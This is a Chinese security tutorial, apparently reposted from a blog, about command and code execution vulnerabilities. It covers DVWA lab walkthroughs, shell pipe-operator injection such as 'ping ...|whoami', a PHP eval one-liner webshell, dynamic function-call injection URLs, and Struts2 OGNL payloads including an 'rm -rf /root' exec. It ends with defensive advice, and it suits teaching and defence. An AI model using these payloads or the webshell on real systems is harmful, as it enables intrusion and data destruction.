命令执行漏洞概述

admin 2022年8月28日21:59:57评论13 views字数 7602阅读25分20秒阅读模式


参考《web安全深度剖析》


  • 概念

命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令,它属于代码执行的范畴,不仅存在B/S架构中,也存在于C/S架构中。

  • 分类


  • OS命令执行

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞。

WINDOWS系统支持的管道符:
“|”:直接执行后面的语句
例如:ping www.baidu.com|whoami
命令执行漏洞概述

“||”:如果前面执行的语句执行出错,则执行后面的语句。
例如:png www.baidu.com||whoami
命令执行漏洞概述

“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
例如:
png www.baidu.com&whoami
ping www.baidu.com&whoami


命令执行漏洞概述


“&&”:如果前面的语句为真先执行第一个命令后执行第二个命令:
为假则直接出错,也不执行后面的语句。
ping www.baidu.com&&whoami
png www.baidu.com&&whoami
命令执行漏洞概述

LINUX系统支持的管道符:
“;”执行完前面的命令执行后面的。

ping www.baidu.com;whoami
命令执行漏洞概述

“|”:显示后面语句的执行结果
命令执行漏洞概述

“||”:当前面的语句执行出错时,执行后面的语句。


命令执行漏洞概述


“&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假。
命令执行漏洞概述
命令执行漏洞概述

“&&”:如果前面的语句为假则直接出错,也不执行后面的语句。
命令执行漏洞概述


实验&练习:


本次实验靶机为windows系统:

  1. DVWA& Command Injection-Low

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

从代码中可以看到,程序直接对输入的命令进行拼接执行,未做任何的过滤和处理。

输入IP地址:
命令执行漏洞概述

127.0.0.1&&whoami
命令执行漏洞概述

同理,输入其他的管道符,或者使用其他的系统命令都是可以执行的。

127.0.0.1| whoami


命令执行漏洞概述


2.DVWA& Command Injection-Medium

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

从代码中可以看出,程序对管道符“&&”和“;”进行了过滤,但是依旧有可以利用的管道符,例如“&”,”|”和“||”


命令执行漏洞概述
命令执行漏洞概述
命令执行漏洞概述


3.DVWA& Command Injection-High

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";

从代码的角度来看,过滤了许多的管道符,看起来无懈可击的样子。但是’| ‘多了个空格,这就导致了问题的产生:


命令执行漏洞概述
  • 脚本命令执行

任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样。
区别:命令执行漏洞是直接调用操作系统命令 代码执行漏洞则是靠执行脚本代码调用操作系统命令。

  • PHP命令执行


PHP 提供了部分函数用来执行外部应用程序,例如: system()、 shell_ exec)、 exec()和passthru()。

  1. 示例1:命令执行

<?php $host = $argv[1]; system("ping ".$host); //执行ping命令 ?>

使用PHP.EXE 执行此文件,命令为:“php.exe ceshi.php www.baidu.com”,PHP 将会调用系统ping命令,并将结果显示出来。攻击者则可能输入“php.exe ceshi.php www.baidu.com|whoami”。


命令执行漏洞概述


注:使用PHP.EXE传递参数时,如果有空格,一般在Windows 下使用双引号(“”), Linux 下使用单引号(’)括起来,否则将无法正常执行。

b.示例2:代码执行

PHP中提供了一个叫做eval()的函数,如一句话木马就是使用了这个函数, eval()函数可以把字符串按照PHP代码来执行,就是可以动态执行PHP代码。

<?php eval($_REQUEST['code'])?>

保存为ceshi.php后,上传至网站目录下,即可执行系统命令,且可获得webshell:


命令执行漏洞概述
命令执行漏洞概述


c.示例3:动态函数调用

<?php
function A(){
return "A()函数..";
}
function B(){
return "B()函数..";
}
$fun = $_REQUEST['fun'];
echo $fun(); //动态调用函数
?>

PHP 解析器可以根据f u n 的 值 来 调 用 对 应 的 函 数 , 当 变 量 fun 的值来调用对应的函数,当变量fun的值来调用对应的函数,当变量fun的值为“A”时,那么$fun()对应的函数为A(),虽然这样给开发带来了极大的便利,但却存在安全隐患.
例如:http://10.1.8.8/ceshi.php?fun=phpinfo


命令执行漏洞概述


当f u n 值 为 p h p i n f o 时 , fun 值为phpinfo 时,fun值为phpinfo时,fun() 所对应的函数即为phpinfo();。
可能有些读者会认为最多能执行一个phpinfo(),并没有太多影响,这样的想法是错误的。
例如:程序员还想给函数传递参数,代码可能如下:

<?php
function A(){
return "A()函数..";
}
function B(){
return "B()函数..";
}
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par); //执行函数,并且使用参数
?>

当用户访问http://10.1.8.8/ceshi.php?fun=system&par=whoami,最终执行的就是:system(“whoami”)命令:
命令执行漏洞概述

d.示例四:PHP函数代码执行漏洞


在PHP中,代码执行漏洞出现较多,像preg_replace()、ob_start()、array _map() 等函数都存在代码执行的问题,在此以array_map() 函数为例说明,代码如下:

<?php
$arr = $_GET['arr'];
$array = array(1,2,3,4,5);
$new_array = array_map($arr, $array) ;
?>

array_map() 函数的作用是返回用户自定义函数处理后的数组,现在输入URL:
httpp://10.1.8.8/ceshi.php?arr=phpinfo 后,发现phpinfo 代码也会被执行。
命令执行漏洞概述

关于PHP更多的危险函数,读者可参阅《高级PHP应用程序漏洞审核技术》一书。

  • Java 命令执行

这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的。

Java EE 之前被称为J2EE,Java EE 是在Java SE 的基础上构建的,它提供Web服务、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构(service-oriented architecture,SOA)和Web 2.0应用程序开发。

在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)。下面以 Runtime类为例进行说明,模型代码如下:

import java. io.InputStream;  //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
public static void main (String args []) throws Exception{
if (args.length==0) {
System.exit(1); //没有参数就退出
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run. exec(command); //执行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
System.out.println(temp); //输出结果
}
buff .close();
in.close();
}
}


1

上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “whoami”,执行命令操作。
命令执行漏洞概述

如果程序开发人员没有正确地使用Runtime 类,就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞,在稍后的章节中会讲述。

还有非常多的JSP 木马,也都会使用Runtime.getRuntime().exec()来执行系统命令。

  • 框架执行漏洞


至今,框架技术已经被广泛应用,越来越多的开发者喜欢使用框架。框架让开发变得更简单、更省时、更高效,甚至有些甲方公司在把项目交给乙方公司开发时,会明确要求乙方使用指定的框架技术,比如,有名的Java 三大框架(Hibernate、 Spring 和Struts )。

使用框架是好事还是坏事?对开发者来说是好的,但是一旦出现了安全漏洞,则是致命的。框架的用户群体越多,危害就越大。像之前Struts2 爆出的代码执行漏洞,就让国内的网站消失了一大批。

  • Struts2 代码执行漏洞

Struts 是一个优秀的MVC 框架,被称为Java 的三大框架之一,你可以想象使用Struts 的用户有多少,但Struts的第二个版本却爆发了多次致命的命令执行漏洞。所有使用Struts2开发的应用程序几乎都受到了影响。

Struts1 最初是独立的MVC 框架,但是Struts2 改写了Struts1 的核心技术,换了一个新的面貌,在底层采用了XWORK 的核心。

XWORK 也是一个MVC 框架,是Struts1 的强力竞争对手,Struts1 推广业务做得好,用户量要比XWORK 多许多,但是从技术角度看、框架结构却没有XWORK 做得好,而Strdent2 是
在Struts1 和XWORK 技术基础上进行了合并,Struts2 与Struts1可以说相差非常大,算是一个全新的框架。

Struts2 的每个版本都有相应的漏洞补丁,可以在其官方网站http://trutsapachec.org/看到。其中有几个比较知名的高危漏洞都是Struts2 的代码执行漏洞。

在2010年7月初,exploit-db 网站爆出了一个Struts2 的命令执行漏洞,漏洞名称为:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability,下 面是关于Struts2命令执行的简单介绍。

Struts2 的核心是使用的webwork(XWORK的核心)框架,处理action 时通过调用底层Java Bean 的gter/setter 方法来处理http 参数,它将每个http 参数声明为一个ONGL 语句。当我们提交如下http 参数时:

?user.address.city=bj&user[‘name’]=admin
ONGL将它转换为:

0bj.getUser().getAddress().setCity=“bj”;
0bj.getUser().setName= “admin”;
这个过程就是用ParametersInterceptor 拦截器调用ValueStack.setValue() 来完成的,并且其参数是可控的。

XWORK 也有自己的保护机制,比如,为了防范篡改服务器端对象,XWork 的ParametersInterceptor 拦截器不允许参数名中出现“#”字符,但如果使用了Java 的unicode 字符串表示 (u0023),攻击者就可以绕过保护:

?(’u0023_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’u0023context[ ‘xwork.MethodAccessor.denyMethodExecution’]u003du0023foo’) (u0023foou003dnew%20java.lang.Boolean(“false”)))&(asdf)((’u0023rt.exit(1)’)([email protected]@getRuntime()))=1
转义后的值如下:

?(’#_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’#context[ ‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((’#rt.exit(1)’)(#[email protected]@getRuntime()))=1
OGNL 处理时最终的结果就是:

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行如下语句:

java.lang.Runtime.getRuntime().exec(“net user”);
java.lang.Runtime.getRuntime().exec(“rm -rf /root”);
这就是Struts2<2.2.0的命令执行漏洞,让国内外的一些金融、教育、电子商城网站“死”了一大批,罪魁祸首并不是网站自身的漏洞,而是Struts2。

Struts2 在漏洞处理方面是比较及时的,但从漏洞修复来说,却没有完全处理完毕,Struts2 只修复表面的漏洞,核心问题并没有完全解决,所以导致了后续一系列的执行漏洞。比如:、 标签的执行漏洞,这些执行漏洞只有在使用该标签时才会引发。

在2013年6月, Struts2又大规模地爆发了执行漏洞,这次漏洞出现在DefaultActionMapper 类中,影响版本为: Struts 2.0.0~Struts 2.3.15。

一个简单的代码执行语句如下:

http://host/struts2-blank/example/X.action?action:%25{3*4}
访问以上URL,Struts2 将会执行34 表达式,如果将34 表达式换成以下语句,则会形成致命的代码执行漏洞:

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,‘goes’,‘here’})).start()}
目前ThinkPHP 已经修补了此漏洞。

  • 命令执行漏洞防御

了解了代码的执行原理后,对其防范就比较简单了,根据语言的相似点,可以得到以下总结。

尽量不要使用系统执行命令;
在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;
在使用动态函数之前,确保使用的函数是指定的函数之一;
对PHP语言来说,不能完全控制的危险函数最好不要使用。
在进行防范之前,确保输入是否可控,如果外部不可输入,代码只有程序开发人员可以控制,这样,即使你写的代码漏洞百出,也不会有危害。这一点适用于所有的安全漏洞防范。当然,并不建议你这么做,隐藏起来并不是真的安全,要永远假定攻击者知晓系统内情,这样才能真正做到代码阶段的漏洞防范。


原文始发于微信公众号(Oriental rose):命令执行漏洞概述

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日21:59:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行漏洞概述http://cn-sec.com/archives/945938.html

发表评论

匿名网友 填写信息